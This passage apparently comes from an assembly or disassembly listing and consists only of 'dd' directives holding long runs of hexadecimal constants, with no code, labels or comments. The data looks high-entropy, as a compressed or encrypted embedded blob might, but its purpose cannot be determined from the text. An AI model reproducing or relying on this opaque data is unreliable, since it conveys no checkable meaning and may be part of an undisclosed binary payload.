35FFB48Bh, 0CF732068h, 0E20072F4h, 74837AEBh dd 0DDF499h, 0FECC87E6h, 49F05ADh, 4B30F301h, 2CAB071Dh dd 79C902C0h, 0C04700B8h, 0F21B09ADh, 15006BD6h, 0AEA735C3h dd 2FD227h, 41863FE6h, 80D8E5B8h, 0ABD8200h, 0B353F692h dd 0A446006Dh, 5179CCEFh, 0E5009D49h, 607CCB99h, 0A31DEBh dd 6F98B02Ch, 478C3D27h, 97F1824h, 0CB11A00h, 160E24h dd 7DFECDBCh, 744805Bh, 86C8EB00h, 11FFEE19h, 828738CAh dd 7E04479Fh, 0E42D2400h, 4213A5C4h, 0EFC21F01h, 9807D2D0h dd 0F092AF43h, 64C31Ah, 2590BDEDh, 0E3403FB8h, 3D8ED500h dd 0C689F348h, 242C005Bh, 6B36B2D3h, 5C07F04Eh, 0FD2D265Eh dd 0B32E8710h, 0F6071F6Eh, 9FB6C0DAh, 0CE53EAE8h, 8046983Eh dd 3F37D534h, 0EF7008D6h, 0E6D0D2F5h, 5A160077h, 0B69CEF73h dd 7400E4FDh, 6DB014E7h, 0DE13D0h, 0B359B95Eh, 33B178A3h dd 588239h, 86420FFEh, 7314A4B5h, 780EE74h, 0C9EE279Ch dd 3D2AB06Bh, 4073D67Dh, 6DEAAA01h, 775C3184h, 0BCCDD4h dd 46E49A29h, 8AC021C3h, 4C26E900h, 0EC420ED3h, 0CA990093h dd 0E635CDD9h, 0D60F1FC3h, 0A1D24898h, 1CE9F3EDh, 1D29EF60h dd 259542D3h, 0F878F561h, 5500FE79h, 1B15EC20h, 1FB7A40Eh dd 1F78797h, 0C2538143h, 5F18C079h, 0D870E969h, 0A36D00D8h dd 0E825DC29h, 8D077DFDh, 0BD26160Ch, 79EC65E0h, 0FBF3141Eh dd 0E41EBC02h, 0EB1943BFh, 8490BE46h, 0BB00D2F6h, 0F47A2E2Ch dd 5D947h, 0E0ABF89Dh, 0F9C2B850h, 438D4F00h, 5659D578h dd 44BC000Ch, 14D9365Dh, 6FEE3D8Fh, 776B5F00h, 72CE5BD3h dd 875002Dh, 91222A9Eh, 0F8038C0Ch, 0BFFCA63h, 3BA00948h dd 37038578h, 0C09501A9h, 0C5E0F215h, 3874BF00h, 0ACDEF5C7h dd 8B680044h, 3EAD0834h, 0E53BB98Ah, 3A9591Eh, 0BFEC412Fh dd 4A8F8AAh, 71880261h, 696A0E7Ah, 3FE5DEC1h, 7D95EBA0h dd 89310098h, 0DD7F58EFh, 40093FCh, 0B16D4F53h, 2484B04Ah dd 6DA7EBh, 742F35F8h, 0A40CDDF0h, 98C75738h, 0ACA03B50h dd 0E78C1DB8h, 0B1C9126h, 0C1F4C600h, 7CFB256Dh, 0B3AC00DAh dd 0B9219DFAh, 5E06802Dh, 0B72CBF06h, 0D0C4000Ch, 0CB6D84FFh dd 0FD00AFE9h, 87134A39h, 0C4FAA04h, 1C74FCB2h, 0B879D610h dd 1BEAF900h, 926FB6BBh, 0E06A4F37h, 94003FA3h, 6B8A7BD4h dd 90082FD0h, 28E53C1Ch, 0B1B41F02h, 0E609134h, 80EAFF9Bh dd 68D3AF06h, 0F0884Bh, 0A55A9AE9h, 8189EC56h, 0C6B8700h dd 0E00FC5EFh, 5B48C0B4h, 0BFCFA337h, 5616BA00h, 86EFC868h dd 0D9EAB0h, 3472829Bh, 0FD190713h, 8E212309h, 7374037Ah dd 0F705E8C6h, 91E23DDCh, 804A879Dh, 9E6A9835h, 0D100DD6Fh dd 545D0729h, 6B6546h, 10206E87h, 0D2C10E42h, 0FCF59E7Fh dd 0CB1E1271h, 7983BEA4h, 0A091EBC3h, 457A39h, 62999730h dd 0FE669F10h, 423D0DE4h, 0B0713822h, 0E7D14005h, 34F63E4Bh dd 84BF6100h, 0BCEEB5B4h, 0DFD42300h, 3CE2E1B1h, 0D58D0079h dd 8706C6A6h, 0E5003591h, 555D7DC8h, 736C5327h, 447B73h dd 0A79001DAh, 0FDFC7097h, 0ACE03F0Fh, 4C71A0D0h, 1EC61B74h dd 3DE429B1h, 5289FE80h, 0B6128A49h, 16200503h, 907F862Dh dd 1327D8h, 806B0926h, 2588BFF0h, 6547661Eh, 450EF380h dd 78BD777Eh, 0DCEC1Ch, 1067EE83h, 6938924Ch, 18DB4100h dd 3B717DCCh, 0A087E0CEh, 1F45DFF0h, 8047784Ah, 3CF4F233h dd 0E100632Ch, 3B1AAAA7h, 0CA2925h, 82DD9186h, 19BD4052h dd 0B0AF7D1Ch, 21D1C9C0h, 0BC8738Fh, 66E9813Ah, 0E3008F0Bh dd 97DA88B8h, 5468E0Fh, 2BB1E085h, 7402B424h, 5AC90056h dd 0C328DDB3h, 543A114Ch, 55FC0E4Fh, 2BC8A039h, 29B9Eh dd 2001D77Dh, 6998F5E9h, 0E2464500h, 4BA47BC7h, 774D0A8Dh dd 0A48685h, 0F0ADE178h, 2E783AFAh, 4C2A5D1Ch, 1C9C1D98h dd 0A0C04C9h, 90CA7F96h, 0A0AFABE8h, 0DB3FA70Bh, 5BA20038h dd 7D0BFAFDh, 0B09BFE63h, 3BB512B4h, 9DC440B8h, 9F995486h dd 67660B00h, 0D6D8E9CDh, 936000C2h, 91F809DDh, 0B303A23Bh dd 0F66A959Ch, 882BD09Bh, 1AE80054h, 0A1129FAEh, 0CD00D546h dd 495F3C73h, 7702531h, 0CF0E63ABh, 0C4F8500Ah, 0A901475Bh dd 78600D4Fh, 75E09916h, 7BF7C10h, 9ED79030h, 509FF00Bh dd 730EFDB1h, 0A0049556h, 131D0E15h, 14FA00E7h, 4329DF06h dd 6000D7BBh, 2BFBA218h, 37ED52h, 0A24599Fh, 0CF557DCDh dd 84923C14h, 35007690h, 0BB7A28BAh, 24E2A3h, 11931C2Fh dd 294A9A96h, 0BA191600h, 903FC1B6h, 2AD00002h, 0A1BE2EAAh dd 2105CC0Dh, 58A7DF10h, 772238C7h, 981043D9h, 1E6278A8h dd 811EA16Ah, 0FA175899h, 0BF7E6001h, 0FC74D1E1h, 6600AB51h dd 0FB655E72h, 0DB29F8h, 6DB9AA7Ah, 0EF4854F4h, 3BA90E3Eh dd 0BD118085h, 0E8198B6Bh, 0CDCE018Dh, 0A12CB772h, 0A886ECE0h dd 0F2635303h, 0AAE43CDEh, 8D194079h, 0B2B61F75h, 3405C2DFh dd 80A1EC37h, 0DCDA0CEBh, 9100C5ABh, 2718551Ch, 1B4D49Ch dd 17561B92h, 0E8D39D02h, 5758FD8Fh, 0D79114CEh, 111D3418h dd 7FE8480h, 622F4CD8h, 60ACC918h, 5F3E3186h, 0A8C5070Fh dd 1470656Fh, 2640312h, 4745B80Ah, 0D848105Bh, 1CA06D6Eh dd 7000B22Dh, 6F6A2CDDh, 2A882FD7h, 2CCA6Eh, 9CE20F60h dd 0B4B0A8B8h, 7200D4E8h, 0E3461F0h, 306FBAFCh, 5C31AFA0h dd 3143A10h, 5B385A47h, 0EBA63280h, 9D30C9AFh, 5F63EC01h dd 0D218C804h, 80396230h, 21792FD4h, 470AC76Eh, 0B4002459h dd 57C08C18h, 61460FB3h, 49C00FECh, 0B24BD8Dh, 1E67163Eh dd 939FC5CFh, 70BBF8h, 0C4A4109Bh, 0EDB864h, 437BE257h dd 53C393E4h, 549A171Eh, 607ECD85h, 0A18FFC00h, 3D88D45h dd 0A9401DF1h, 0EE88D670h, 3B009417h, 9A991981h, 1084F7h dd 7AAD7D95h, 8F60BC36h, 34BB2C00h, 0F88073DCh, 3274C3h dd 850B69A7h, 0D9284D6Bh, 312C9F09h, 89D480E2h, 0CABCD4h dd 0EEE7E0Ah, 46B59012h, 339E771h, 4EA10075h, 0DFDA0AA3h dd 0BC941EB0h, 0B8434093h, 6CC9F01Fh, 219ABF00h, 3B3332F3h dd 0D5E4D6h, 0DBA8E53h, 61EC8CB5h, 0C0854A05h, 0AC42B16Fh dd 85D1BF90h, 0E2C1C2FCh, 898DA47h, 97121A4h, 9C4ED200h dd 0A51A544Fh, 3FA0F638h, 85006853h, 0DA431017h, 2500132Ch dd 0D5973A1Ch, 0A47D5D87h, 0DB4B00D8h, 0F8B7C1EEh, 0BAB0988Ch dd 3A6408C0h, 19661Fh, 5FE8DEBDh, 5173279Bh, 0C1184860h dd 0DBD006h, 9EAE752Eh, 457C7764h, 8AE80202h, 0DD66DE9Bh dd 1040FEE0h, 0A6424B0Fh, 47FA6685h, 0E8F040h, 736F9965h dd 0BB5F2F0Ch, 0D6085B66h, 6DE20021h, 0F81A9699h, 0F3488328h dd 8DDE3EF5h, 8958C436h, 7B9545DCh, 7510C14Ah, 9E2D3897h dd 742E920h, 631B365Ah, 0F5310096h, 0DC23D654h, 6900A0D1h dd 0CD380BE0h, 7AD7F40h, 792D451Dh, 1E20D366h, 3F486000h dd 9CCA9E15h, 2E880706h, 46BF0F04h, 5A002128h, 2C3A9DDEh dd 47A996h, 544DF8EAh, 0D88ED318h, 80902168h, 8C37730Bh dd 0C110CFh, 124E61DFh, 9AAF6662h, 0F450FD00h, 74E0E449h dd 0EEC504B5h, 0C170633Bh dd 0D0CC4FBAh, 291C3E40h, 4E00067Ah, 46DCE56Dh, 6FE47485h dd 0A7C021B2h, 2071C005h, 4AB16000h, 0C826FEFAh, 0EC400CBFh dd 0C928C4F1h, 1C00A173h, 0B362A7Fh, 0CC8556C5h, 9721E508h dd 0CB071CF8h, 47A301A0h, 7EC34B51h, 5C09C8h, 635EC6A8h dd 3E416516h, 39D4EE30h, 0BB110BEh, 0D3361778h, 565D87D5h dd 0F0833880h, 0DEE076Bh, 21248950h, 8098DFD5h, 372EC139h dd 0C046497Dh, 8C076011h, 0B106D86Eh, 29CFC525h, 38F43008h dd 8CEC8520h, 3AA8BF18h, 73234010h, 12780071h, 94B52972h dd 3E01C669h, 0B86B3D5Dh, 2880BA34h, 83546AFDh, 6E0EEAEBh dd 807B5EA2h, 0BB8006B0h, 0CB8F01CFh, 5A4D3BF8h, 74E883ACh dd 735C0A4h, 2AE00441h, 9FC05C49h, 0A046EA0Ah, 4183D85Eh dd 0D13FADh, 0AF013510h, 1F3D4E0Ch, 0F333D404h, 0A687F758h dd 0E51E205Fh, 0DEA02Ch, 9624015Fh, 80FCFE7h, 0FC32B007h dd 0C960CA68h, 5870DBF4h, 0E0508721h, 62910FA2h, 5E1968Fh dd 0D10C4EA6h, 0AA218014h, 0AE0919Ah, 0DA5B001Fh, 0D2AB374Ah dd 66330376h, 98545028h, 311925EAh, 2739241Fh, 2EFFF092h dd 10550B37h, 7EC5DFB0h, 0ADF40376h, 0ACEA8E6Ah, 80685AA1h dd 0C6174D20h, 1168952h, 9E0BF8EBh, 10762F61h, 7B9F85E6h dd 4CD970A7h, 7060B5FAh, 6EDA9C0Dh, 0F7EA90C7h, 9A00E837h dd 61E55E3h, 9D17F24h, 8D0D9827h, 38348FA8h, 9A01A083h dd 28005863h, 486C94F3h, 0CF7273h, 0AA33E216h, 4FDE7484h dd 9E001B7Bh, 0C9D2306Dh, 7C344Ah, 25AE9C97h, 4F5D44F9h dd 24B50100h, 3B60A2F7h, 8632000Bh, 6D9D82D9h, 727BE38Ch dd 2634B500h, 9E74DD6Bh, 335C0094h, 813964FEh, 3C16B251h dd 0DC039D88h, 0E88B8624h, 263C666h, 0F5A7439h, 209E3BB3h dd 897FFB10h, 2862F4C0h, 300E0B56h, 0D9E75h, 0A594A74Bh dd 0F4ECF0EEh, 600FF8F1h, 9562063h, 71032D4Bh, 0AF0C16B2h dd 5458150h, 0FBB01E10h, 9C84A250h, 7408C160h, 0B0507F0h dd 0D5BA4647h, 71C8D980h, 4360A93Bh, 5CDF1BF0h, 2E1754Fh dd 1E9DF725h, 0A8A0215Fh, 0E2D747FFh, 6A559200h, 2A23E581h dd 0C8EC0E38h, 0D81D3016h, 0F39E684Ah, 683C6229h, 6B4B0400h dd 86F00595h, 520844h, 0AEF84BEDh, 5DA6C3E1h, 0EB53C0FFh dd 994F5B0Ah, 90B2D8BCh, 4F122755h, 0AC8B28C3h, 94D41000h dd 4EF5BDD2h, 0DDE19B2h, 50E5085Fh, 0CB703684h, 40F12000h dd 0F603A360h, 0AFA1C012h, 0BEEAFB45h, 42FD1976h, 0A7304630h dd 46F5E0D2h, 1E82286h, 0FCCB6F37h, 0D48EB94Fh, 5F20EFDDh dd 9520C551h, 84C44098h, 0B386A1AFh, 0D8B26E50h, 1294E93Eh dd 184B766Fh, 0E31C006Dh, 3B08BB58h, 747912FFh, 214763FEh dd 30D727F9h, 0E8351638h, 7B31EF0Eh, 4C43A0C0h, 7E2FA380h dd 0F8E1C0E5h, 0BD0831BAh, 0E822EA04h, 66C0B6C4h, 0CF720C3h dd 9CFA6DB8h, 0FE0074F9h, 45221D44h, 3390FC42h, 0A908532Bh dd 3C642100h, 32B3DE1Dh, 0C7B82Fh, 298119A0h, 9D8FA76Dh dd 27460090h, 0A84B0101h, 0CEE8D94h, 0E5F8804h, 18604B00h dd 0B29A2316h, 0B60C3037h, 2FE85671h, 615828C0h, 5C6270h dd 7D97180Ah, 6FB57EB7h, 0D79D6A1Bh, 3553D031h, 8A72ADh dd 711E348Bh, 87921F5h, 6B22B300h, 11F38077h, 91572876h dd 0ABE301F0h, 0FCE88A37h, 644BF279h, 0E20D07E0h, 90857319h dd 6181AD9h, 94914B04h, 502CF095h, 874BEF3Dh, 0BF01A89Bh dd 2A43C00Eh, 48D4D0A5h, 3E23FC68h, 954BCA01h, 284AF594h dd 4BB1AC00h, 9BED321h, 98C84101h, 9961D90Eh, 72758030h dd 6779806Eh, 83067100h, 0EE70519Dh, 661A01D5h, 7572C3CAh dd 65E181F3h, 5830DDFh, 0AF7DC8h, 2CE2AD6h, 8ADD8FC6h dd 9EF5FE09h, 31500EB1h, 4DE32280h, 0A2140BBh, 1ED81113h dd 178E3A2Ah, 45B2C05Fh, 133A3B0h, 0A3961E8h, 22F23179h dd 0ECC00028h, 466E7113h, 9447D9Eh, 0A0F8DC89h, 40D660A4h dd 59877753h, 0B8C400B3h, 0C65894ADh, 0F8FA098Ch, 43C33700h dd 1D9C6065h, 0B67900A7h, 0D347314Dh, 0FF006323h, 0DC35D40h dd 0F0623F39h, 1CB3F4D1h, 0C0EEF23Ch, 0D57DEDFAh, 4CA0AD4Ch dd 0D0F5189Ah, 0BD03EE2Ah, 0FA82472h, 0F5738812h, 97320EFCh dd 6ED21578h, 939000Ch, 5A02AA73h, 24FA4D1Bh, 41AE0803h dd 8F9094DFh, 8700E5A8h, 7F9A696h, 291A40F3h, 0BE074BAh dd 0CC5E9BDAh, 0BBA23700h, 0FDA55Eh, 0E687576Bh, 0EB860EC8h dd 79311205h, 6C006F02h, 92D72680h, 6549C0DCh, 0B4B1956h dd 0F5C5F401h, 6E166A2Fh, 8A1C309Dh, 0E0D88131h, 0B893FFA0h dd 2FB88D4Ah, 58802049h, 62452E1Dh, 60AE448Ch, 0CD1D5001h dd 8FE31FDBh, 1AF4B034h, 914F8BD7h, 0F900E466h, 0C2D886Fh dd 85C1F8h, 5EDF67EAh, 3977EBFFh, 4418D69h, 6A605DD8h dd 0F6239FCBh, 0E6115Eh, 27CB72B4h, 60758247h, 1FD7793Bh dd 171FA9D2h, 0DB0ADD8Ah, 20079814h, 80876C2Dh, 0D9603A8h dd 95A13CF1h, 0BCAC532Eh, 0C0840AE7h, 452C1D46h, 5E8E5243h dd 0B5701D20h, 8C09E329h, 80055C93h, 9033E681h, 979133D5h dd 7DA2C299h, 2504C04Ch, 38BB46E3h, 9AC9F140h, 68394D40h dd 0AD041C3Fh, 365AAE40h, 38C21EE8h, 4CBF9BE7h, 0FE85F203h dd 57C8A5F4h, 4DFA3F6Eh, 0D5E2DD1Eh, 6B528B01h, 199D68CAh dd 0A5A83F76h, 0C0C83D14h, 0CA0F1300h, 0DAE6B157h, 216408CCh dd 76D8002Ah, 0AA3757Eh, 250E24CCh, 9EE72B27h, 0A4307B83h dd 9D10C9A8h, 669F9198h, 0FE03045Bh, 0F4BC69D1h, 0A893A1D0h dd 24D82081h, 0D4F3A076h, 2007785Dh, 0C1C0533Ch, 53DBA60h dd 87130649h, 0BE0F29A9h, 0CF8BE101h, 0E3404299h, 70B27CE4h dd 90AF0068h, 0FE9221DFh, 7DE8CB85h, 0D14C9100h, 0BC4BF509h dd 47FB00EEh, 0B431B298h, 8F006BC8h, 4938DB34h, 1C811AECh dd 4FFD6275h, 0BBA0E225h, 85487254h, 98EE3Ch, 979C41B5h dd 0A0AFE9A4h, 3799D5h, 11E061C6h, 47B2CE84h, 40152E30h dd 136E4Ch, 0F1D845CBh, 7EEDFFD0h, 3A3EDAE0h, 0A9E4806Ch dd 46AD90D9h, 854239E2h, 825501F9h, 0BE0D48C0h, 0C8C07F68h dd 12CC4D0h, 14FE0343h, 807F239Eh, 77358940h, 6EFA34h dd 0A8CF6682h, 406B1420h, 67A580C0h, 0DEE424h, 683B5D27h dd 0E523DC28h, 6F9FC300h, 0EF21909Bh, 84A60066h, 0E6E4CE82h dd 0DD5097FBh, 337C6E9Dh, 42CBDA00h, 0FA4D8D95h, 1ABB0CC6h dd 9EC0077Bh, 3044F201h, 0C5029FA1h, 76095CE8h, 0AB4B3A7Dh dd 0E6643380h, 0E8FED20Eh, 34415B00h, 2D453855h, 9D273C61h dd 6283EF02h, 20806BB4h, 90AE6A5Dh, 0B0C8D700h, 0F9888DD8h dd 0E0F2545Fh, 0C13200E1h, 83FF1C44h, 38053D1Dh, 0B11B9762h dd 0C810C02Fh, 4D74C012h, 96C352h, 2679B3D3h, 0F69AE35Eh dd 8EC03767h, 3FEE013Bh, 4080F066h, 968A56C5h, 0EF003707h dd 0A4B49F75h, 5DC13D2h, 5CD8CAA5h, 7EA0074Eh, 0FCC70E6h dd 0FB00D143h, 89647927h, 175AEA8h, 5F60B799h, 43838B25h dd 26B11AC0h, 63F6F8FFh, 0D8C8EC00h, 21AF49E8h, 0FDD1072Ah dd 8B8D796h, 30585480h, 1E29E96Ah, 45DDE8E2h, 40F55C41h dd 0CC75A4E0h, 0B5003513h, 69BC586Ch, 1F399A4Dh, 306563E5h dd 518E61C0h, 0C5A6850Ch, 0A604064h, 6E374267h, 6AC40280h dd 0DC0AA8Bh, 0D7FC5A78h, 522F4300h, 25F3B51Ch, 56D80EFCh dd 0C4E07083h, 9DFE2E24h dd 0E6EE8703h, 802BE11Ah, 9E3EAEh, 0C37FF672h, 30541195h dd 0F08E0400h, 2575C0FCh, 0FFF30773h, 0A2AFB4h, 0C193F3Eh dd 7839CC73h, 70CB00CDh, 0E415AA6Ch, 1C27A45h, 687D9538h dd 20E9668Ch, 4A0FFD20h, 612F5BC3h, 67B663CCh, 1EED6030h dd 80015A60h, 34357B51h, 0DFE87A29h, 0F4206D60h, 0ED5D38h dd 9312E737h, 0A7BF6B83h, 2394434Ch, 84D61E4Bh, 62DA0F15h dd 0CE28227Fh, 0F32A7B60h, 912FFB04h, 0E0D037BFh, 0BB84EFDh dd 0F535BCF8h, 3A835F8Fh, 21003626h, 0DBAD133Bh, 2CC42110h dd 9100289Ah, 1B5D008Dh, 0B9F6ABADh, 0CA023E89h, 26DEA800h dd 8C1854Eh, 43FC3606h, 7C30BF4Ah, 0F3ED00C4h, 8683D4B3h dd 9F20209Bh, 0F6A815CFh, 0A85F906Eh, 0AB3CB2h, 21130CCAh dd 88C197h, 0D626866Ah, 961F72B6h, 0CB6D20C2h, 1EBD4282h dd 923E2320h, 334D0105h, 0AD107420h, 8C29E6D2h, 0F46744h dd 9B5EAD27h, 9129BE7Ah, 3CC019C0h, 0E2760Dh, 473133DBh dd 0BC45D13Dh, 5A5DF70Fh, 61DA0009h, 5D52B4Fh, 100D1F4Eh dd 16489083h, 0E9FAF36Ah, 0C3762600h, 0F6C6D96Fh, 4A9A2425h dd 914D8004h, 1011CDFEh, 54AA59h, 7593B269h, 7AEAD448h dd 304100F1h, 3CAAD758h, 9C031EF7h, 0B58E6C44h, 0AC491ADCh dd 7805153h, 9AF7E8E0h, 0DC823638h, 0AA3406C2h, 6D84AEAh dd 0C392AB8Eh, 0F6F0303Eh, 8C4E9900h, 932D1896h, 14790702h dd 0B039BC62h, 0B7E45F16h, 9615663h, 0EB4B90BFh, 53E805B5h dd 871E5520h, 0CB3740CCh, 7101BC5Fh, 0E508D4B2h, 5C80ED07h dd 0A92FE8C5h, 0BC90F3D7h, 0CF004D76h, 0E9D729Ah, 0A4B0DA36h dd 0BB6019Ch, 6CB2BE41h, 0A990402Dh, 0D007E72Ah, 1A888583h dd 0F690B620h, 0C68F0579h, 80EAEC9Dh, 47656EF8h, 0C26A2003h dd 15A97AE4h, 0E88B2450h, 0D500743Dh, 0CB92FD9Ah, 0ACEE3BC4h dd 1026BA7Ch, 0D71553EEh, 0DF0078A8h, 62A9F617h, 66ABD2Eh dd 257036F1h, 870060C1h, 339AE241h, 2EC493h, 5518660Ah dd 4B94C8A1h, 0AE403500h, 15DB4499h, 0CFA43E8Eh, 72AAAD03h dd 870ACBBh, 10A75430h, 176DC4h, 8CB8913h, 0E0D1EF1Fh dd 0DE49410Eh, 32750077h, 3A9A12CEh, 2864DD45h, 693A21F4h dd 9010A112h, 27848B5Bh, 0BD440DE4h, 5FE24435h, 58420C48h dd 51292642h, 518DE503h, 885516FBh, 62264h, 8B6920FEh dd 0CF05FACCh, 0D8005270h, 290B30AEh, 0EC3698h, 0DCE1B224h dd 142DEA8Ch, 0AF400307h, 5D2086EFh, 3C5891Dh, 3CB145C0h dd 19B8EE68h, 601A428h, 5D9C1207h, 5EC4AF52h, 0FF22261Bh dd 359700D8h, 488908ACh, 5F34EF00h, 9AF44288h, 0B64500B9h dd 7665156Dh, 10C0BC13h, 19038060h, 0C3A03F88h, 0C04A54FAh dd 78E40032h, 17EEB201h, 2700A588h, 0F79C2555h, 0BB1830h dd 949DA61Ch, 6F954A7Ch, 8807427Ah, 0EE67A472h, 7B889F0h dd 0F1E02F9Fh, 570A1EF6h, 4187F0D8h, 9DE1BFD2h, 97F4A1F9h dd 44791C72h, 0B42B41F2h, 20A7DF05h, 0BF1F127Dh, 0D6C0D00Bh dd 0F8ACD8D3h, 0E723052Fh, 8028FB95h, 0D14AF079h, 0ECB8F4A3h dd 82FEB27Ch, 0D847D00h, 19B64306h, 0DD160222h, 0B02F61AAh dd 0AE521C60h, 83CB3B00h, 0A8F37DE5h, 7EB9F29Fh, 33B80030h dd 1CBC1E2Ah, 4490A56Ah, 0E28E6B00h, 302928B0h, 0CA77001Ah dd 0DF5D0395h, 0B003FE1h, 0FF752C24h, 3AD45EAh, 0E789540Fh dd 30DFA1C8h, 0A03E2640h, 0E37E591Fh, 971B9885h, 0BCC9F400h dd 4452861h, 0EFD31447h, 2D528290h, 62DF8080h, 6B1D26C2h dd 3BFF0CDEh, 0BF590AF3h, 0A20068DCh, 84B60D27h, 1D0EA0Fh dd 9EC458C0h, 0DC17383Eh, 89001893h, 0D9D487D2h, 0A81DFCFh dd 0BCF4B1ECh, 0DB1F08C8h, 40C40B60h, 0CEC80007h, 4147F4EAh dd 600C731h, 792E9C4Dh, 3A0356h, 0D1CCCEC9h, 0DCF4416Dh dd 0A66BD900h, 50643CA8h, 2A6A00ECh, 5622C932h, 0EA0CF286h dd 580B706Fh, 0A22B005Ah, 0DE683A9Bh, 5E020C82h, 604985C9h dd 1630400Bh, 0F9D23DFBh, 1B782080h, 7CD681EDh, 2C676B0Fh dd 0E8EF6545h, 1C5EB603h, 262C60C7h, 7B66C68h, 0BEF45300h dd 6314B1B8h, 0A0470010h, 6BA18372h, 0EE005F22h, 2D02E003h dd 0D98A25h, 0F1EB47C9h, 1DD3F21Ch, 40196400h, 84433324h dd 3CF788Dh, 0F46A3D94h, 41A8F25Ah, 790026E3h, 0B2201217h dd 31FA24h, 973361DDh, 65518FCEh, 1AB74003h, 0D884AA03h dd 30F0D4EDh, 481870E8h, 2BB02B7Ah, 3F064100h, 528E3B85h dd 529065h, 1BACAA6Eh, 5C687523h, 3B617D00h, 0C514A1B7h dd 5FB03E3Ah, 6EE6A80h, 0E6AB172Eh, 9DD439h, 61046C01h dd 0FCBE3CAh, 8155937Ch, 0CE10C7ACh, 632EB903h, 0E0736162h dd 3DF996C8h, 0E180917Fh, 1A52DEA3h, 11287E30h, 89EA9443h dd 0CE4C7D00h, 0D03ABA49h, 0D6C00744h, 70B5B10Eh, 6C23D5F8h dd 4FCD7900h, 1E5E7E1Fh, 72571C3h, 14DFC403h, 42F50CEh dd 0BE18D127h, 0E458D44Dh, 3E9900CBh, 13787033h, 4F3B1E08h dd 0BD9480FEh, 1F8798CFh, 20850037h, 590C102h, 0CCFC9CC4h dd 0BFEB50C0h, 12BA4DFDh, 0FB990239h, 96326500h, 846A4Ch dd 0A295D1C7h, 6B1CB589h, 0D379C900h, 40AA1E06h, 32984Fh dd 0FEF1050Bh, 98A7D2FAh, 13077F7Ch, 6A70DF4Ch, 609F48C2h dd 1412A17h, 0D8B65199h, 0C4A88B15h, 591B79C2h, 0E858E344h dd 0F2C89Ah, 6B8FC41Eh, 0DA87C3CAh, 0D7243200h, 0CD564036h dd 0DC050747h, 8F2F04FCh, 35199EC0h, 100C520h, 7F6F3865h dd 0D7FF42h, 3914362Fh, 70C793F8h, 0A58FAE0Fh, 0B869C061h dd 252780Bh, 29D0734Eh, 344AB97Dh, 0DE45BE60h, 24C0AD00h dd 0FA5A3601h, 0C3FE013Fh, 0A93258D2h, 9177FCD8h, 8A1E3977h dd 722C6223h, 5AD40300h, 1CBE29Dh, 5D5B6A68h, 80634183h dd 0CD78C520h, 46A00Eh, 99219ABDh, 7D4D4504h, 0EC4A9700h dd 0A289E718h, 28433D86h, 0E530808Eh, 0DF7A2360h, 0F024393Dh dd 0D782B84Ch, 4365FB18h, 4E1EB898h, 25760Dh, 0D6303D34h dd 27B554A7h, 7478F00h, 94041FAEh, 7010308Ch, 6C15F7A0h dd 47DA9F00h, 33E8C3E6h, 50666724h, 0C1200082h, 4C38EAB1h dd 8000FB7Ah, 40638F6Ch, 481A04E3h, 0DE48B316h, 251BA302h dd 81C89934h, 0CC007C0Ah, 1333539Bh, 0DEC9C4h, 0F597A4F6h dd 0EBACD1F3h, 6684DF00h, 2F1B1862h, 0C0350044h, 33C9A7A1h dd 100FC39h, 569C3F58h, 0C2EA85h, 1B48FA9Ah, 0CD20B9AAh dd 8E17B26h, 0FA8CA14h, 0A39E8341h, 0B83AD6BFh, 28CBE5h dd 0E9A24BA9h, 3EF8CA55h, 0C8D76E3Ah, 865A017Ch, 7AA8AFF0h dd 6C00D93Ch, 83A5C21Dh, 0A09806F1h, 0F6D9DD00h, 0E452D470h dd 248B0C0Eh, 0B6A815C5h, 0F4C83A00h, 36AE492Dh, 0EA352467h dd 0B9D2001Ch, 0D012534h, 57C82200h, 14CE8B60h, 7492EE96h dd 4B770059h, 3AF32F42h, 9C005B15h, 413CE24h, 67C76Ch dd 49EC1D77h, 0FA7EED9Ah, 0C897071Fh, 9F6B7F80h, 2A32BC3h dd 0EFE99B6h, 50607819h, 20004D31h, 0B0B98BA8h, 1C5CBFC8h dd 28EFACA4h, 0ADEE04B0h, 81278346h, 346D429Ch, 510C3C7Ch dd 0A856CC8Eh, 0B90A032Ah, 6E46F038h, 3405DAC1h, 5D73F4ACh dd 9AB7ED00h, 0A133E1A0h, 47411C66h, 0B90B0160h, 0CC14DAFCh dd 0A8ECCC65h, 69065803h, 63CB284h, 7E8BC086h, 0C2F8B11Bh dd 0F7280C90h, 663BE495h, 8FF98C6Dh, 722D1094h, 0D42F0004h dd 0A8FAC43Ch, 8101801Ch dd 0B3A2C0F2h, 99C0DA40h, 0B17008Ch, 0C2C9E43h, 0FC06EFE2h dd 78FA4CCDh, 0D14E1F48h, 4F7C491Bh, 19B89786h, 2B061F00h dd 0E63EC4A1h, 21980990h, 0EC007C27h, 0AA72E210h, 0E1AE5100h dd 6DB26095h, 0DE860338h, 0A607593Eh, 13E22800h, 0B56B5A42h dd 0D23C00FBh, 8C78356Dh, 0D8E0F394h, 3733EF00h, 0F09F6675h dd 6C860F64h, 0D60901B3h, 0FB084409h, 26C08FC4h, 6200ACB4h dd 72DEEA48h, 5C0F25A2h, 38A09208h, 13FF5DE4h, 321821h dd 388968E5h, 0E100FE10h, 3B0DBCFCh, 0F423DECh, 597D03Ch dd 8B612C41h, 0B5BC3089h, 102FBE30h, 0F4EBF59Ch, 33500A9h dd 57342865h, 0AA01ED7Dh, 0D75B76A3h, 14301E9Dh, 69BC0072h dd 0A811D22Ch, 45037D6Dh, 3BC1F54Fh, 0D74390DFh, 0E4FA0042h dd 7B3DB159h, 0F11FEC72h, 802CAD19h, 60B6B40Eh, 0FAFC7E71h dd 0E6FF0064h, 0B1B280F0h, 94003606h, 0D857C6C8h, 1E072388h dd 401D7968h, 0B5135E70h, 0FD0E3318h, 5E0AA60Dh, 134EEC3h dd 5180DC62h, 2689343h, 0AB28185Dh, 0F0808390h, 3237A9FCh dd 0B60F5F14h, 34D61DACh, 17ACDF00h, 60947B57h, 535B18B0h dd 1B00BCEAh, 7A4B7E87h, 0B43ADA5h, 2EDCCEE4h, 80075480h dd 1102526Bh, 8F2AF282h, 0A59840A9h, 2167EE4h, 0B2D929F6h dd 24E82EAFh, 91E878Ah, 74A7681h, 51148447h, 0C7400EC4h dd 0AE84217Ch, 0E820E0E9h, 0ADCE0394h, 0BC17214Dh, 0C951A2F8h dd 0F563100Eh, 48D440DAh, 0D0185Eh, 38065BEEh, 514DCA5Ch dd 2A712909h, 0E56CA005h, 7B9D27h, 0FF3EDC3h, 0C1D90D8Ah dd 157C34FAh, 8B96473Ah, 0A0DE6A6Dh, 9EB43DA8h, 91AE604Fh dd 0EBF49AD6h, 0D2058C7Bh, 5478D9C6h, 8DA13F80h, 9974001Bh dd 